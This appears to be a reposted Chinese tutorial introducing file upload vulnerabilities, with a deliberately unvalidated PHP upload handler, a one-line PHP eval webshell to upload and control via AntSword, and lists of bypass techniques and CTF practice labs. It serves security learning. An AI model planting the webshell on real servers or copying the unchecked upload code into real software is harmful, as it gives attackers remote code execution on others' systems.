当前位置:   article > 正文

文件上传-导引

文件上传-导引

1、概述

定义: 文件上传漏洞( Unrestricted File Upload)网站上传功能过滤不严格,导致用户可通过上传文
件对系统造成危害。

上传服务端可解析的脚本文件造成远程代码执行、上传超大文件造成拒绝服务、上传Html文件引发XSS等。

分类: Web通用漏洞

风险等级: 严重/中危

**危害:**上传文件Getshell/上传HTML文件实现XSS攻击、上传超大文件引发拒绝服务等

**常见功能点:**编辑器、头像修改、提交文章等。

漏洞示例:

<html>
<form action="http://127.0.0.1/upload.php"
method="POST" enctype="multipart/form-data">
<input name="a" type="file"></input>
<input name="b" ></input>
<input type="submit"></input>
</form>
</html>
<?php
var_dump($_POST['b']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"
./upload/" . $_FILES["a"]["name"]);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

需要在同目录下创建一个upload文件夹

漏洞利用:

上传一个一句话木马,然后用蚁剑远程连接。

<?php eval($_POST['1'])?>
  • 1
  • 通过上传GetShell。对于服务器直接支持解析的文件格式,只需要上传该后缀的文件即可。这种
    情况下的漏洞也被称作任意文件上传。
  • 通过上传实现XSS攻击。上传HTML文件时,在其中插入XSS代码实现XSS攻击。
  • 通过上传实现服务器拒绝服务。上传超大文件,或当服务器自动执行解压操作时,上传畸形的压
    缩包文件实现拒绝服务。

文件上传+环境解析 = WebShell
文件上传+任意路径控制 = 文件覆盖(WebShell)
文件上传 - 环境解析 - 路径控制 = XSS
文件上传-环境解析+无大小限制=拒绝服务

2、学习内容

**目的:**上传Webshell到网站服务器,获得shell权限。

后门代码需要用特定格式后缀解析,否则无法执行(解析漏洞除外)

  • 检测方式:前端(JS)、后端
  • 检测内容:文件头、完整性、二次渲染等
  • 检测后缀:黑名单、白名单、MIME检测等
  • 绕过技巧:多后缀解析、截断、中间件特性、条件竞争等

MIME:文件类型(Content-Type)

3、分类 && 思路

  • 代码端(网站自己写的)

    常规上传抓包测试

  • 中间件

    根据中间件版本先找对应历史漏洞,后续测试配置不当漏洞

    配置不当测试方法:?????待补充

  • 编辑器

    根据编辑器名称、版本找历史漏洞

4、靶场 / 练习

  • ctfshow(或其他ctf平台)
  • uplab
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/1010809
推荐阅读
相关标签
  

闽ICP备14008679号